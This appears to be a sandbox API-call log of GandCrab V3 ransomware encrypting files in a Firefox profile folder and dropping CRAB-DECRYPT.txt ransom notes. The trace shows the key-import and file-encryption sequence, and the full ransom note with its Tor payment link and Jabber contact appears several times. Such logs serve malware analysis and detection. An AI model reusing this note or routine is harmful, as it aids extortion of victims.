	[0123.263] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.264] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.264] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.264] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0123.264] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0123.264] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.264] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0123.264] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.265] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.265] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.265] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0123.265] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0123.265] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.265] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.266] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.266] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0123.266] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3166920) returned 1
	[0123.266] CryptGetKeyParam (in: hKey=0x3166920, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0123.266] CryptEncrypt (in: hKey=0x3166920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0123.267] GetLastError () returned 0x0
	[0123.267] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.267] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0123.267] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3166ea0) returned 1
	[0123.267] CryptGetKeyParam (in: hKey=0x3166ea0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0123.267] CryptEncrypt (in: hKey=0x3166ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0123.268] GetLastError () returned 0x0
	[0123.268] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0123.268] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0123.268] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.268] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.268] ReadFile (in: hFile=0x3fc, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3147f2c*=0x2a, lpOverlapped=0x0) returned 1
	[0123.282] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.283] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.283] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.283] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffffd6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.283] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x30, lpOverlapped=0x0) returned 1
	[0123.283] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.284] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.287] WriteFile (in: hFile=0x3fc, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0123.287] WriteFile (in: hFile=0x3fc, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0123.287] WriteFile (in: hFile=0x3fc, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0123.287] CloseHandle (hObject=0x3fc) returned 1
	[0123.287] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.288] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.289] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.289] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.289] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.289] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.290] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0123.290] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.290] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.290] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\CRAB-DECRYPT.txt"
	[0123.290] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.290] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\CRAB-DECRYPT.txt") returned 121
	[0123.290] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\CRAB-DECRYPT.txt") returned 121
	[0123.290] lstrlenW (lpString=".txt") returned 4
	[0123.290] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.290] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.290] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\CRAB-DECRYPT.txt") returned 121
	[0123.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\CRAB-DECRYPT.txt") returned 121
	[0123.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.291] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.291] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0123.291] lstrcmpW (lpString1="idb", lpString2=".") returned 1
	[0123.291] lstrcmpW (lpString1="idb", lpString2="..") returned 1
	[0123.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2="idb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb"
	[0123.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\"
	[0123.291] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.291] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0123.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0123.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0123.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0123.292] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31474d0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0123.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0123.292] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0123.292] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3146cb8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0123.292] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0123.292] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0123.292] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.292] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\\\CRAB-DECRYPT.txt") returned 126
	[0123.292] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0123.312] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0123.312] WriteFile (in: hFile=0x3fc, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31474b4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31474b4*=0xcce, lpOverlapped=0x0) returned 1
	[0123.313] CloseHandle (hObject=0x3fc) returned 1
	[0123.313] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.313] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\") returned 109
	[0123.313] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\*"
	[0123.313] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\*", lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 0x31668a0
	[0123.314] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0123.314] FindNextFileW (in: hFindFile=0x31668a0, lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 1
	[0123.314] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0123.314] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0123.314] FindNextFileW (in: hFindFile=0x31668a0, lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 1
	[0123.314] lstrcmpW (lpString1="2918063365piupsah.files", lpString2=".") returned 1
	[0123.314] lstrcmpW (lpString1="2918063365piupsah.files", lpString2="..") returned 1
	[0123.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="2918063365piupsah.files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files"
	[0123.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\"
	[0123.314] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0123.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0123.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0123.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0123.314] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3146a28, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0123.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0123.314] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0123.315] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3146210, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0123.315] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0123.315] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0123.315] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.315] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\\\CRAB-DECRYPT.txt") returned 150
	[0123.315] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404
	[0123.316] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0123.316] WriteFile (in: hFile=0x404, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3146a0c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3146a0c*=0xcce, lpOverlapped=0x0) returned 1
	[0123.316] CloseHandle (hObject=0x404) returned 1
	[0123.316] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.316] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\") returned 133
	[0123.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*"
	[0123.317] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*", lpFindFileData=0x3147228 | out: lpFindFileData=0x3147228) returned 0x3166da0
	[0123.317] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0123.317] FindNextFileW (in: hFindFile=0x3166da0, lpFindFileData=0x3147228 | out: lpFindFileData=0x3147228) returned 1
	[0123.317] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0123.317] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0123.317] FindNextFileW (in: hFindFile=0x3166da0, lpFindFileData=0x3147228 | out: lpFindFileData=0x3147228) returned 1
	[0123.317] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.317] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.317] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\CRAB-DECRYPT.txt"
	[0123.317] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.317] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\CRAB-DECRYPT.txt") returned 149
	[0123.317] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\CRAB-DECRYPT.txt") returned 149
	[0123.317] lstrlenW (lpString=".txt") returned 4
	[0123.317] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.317] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
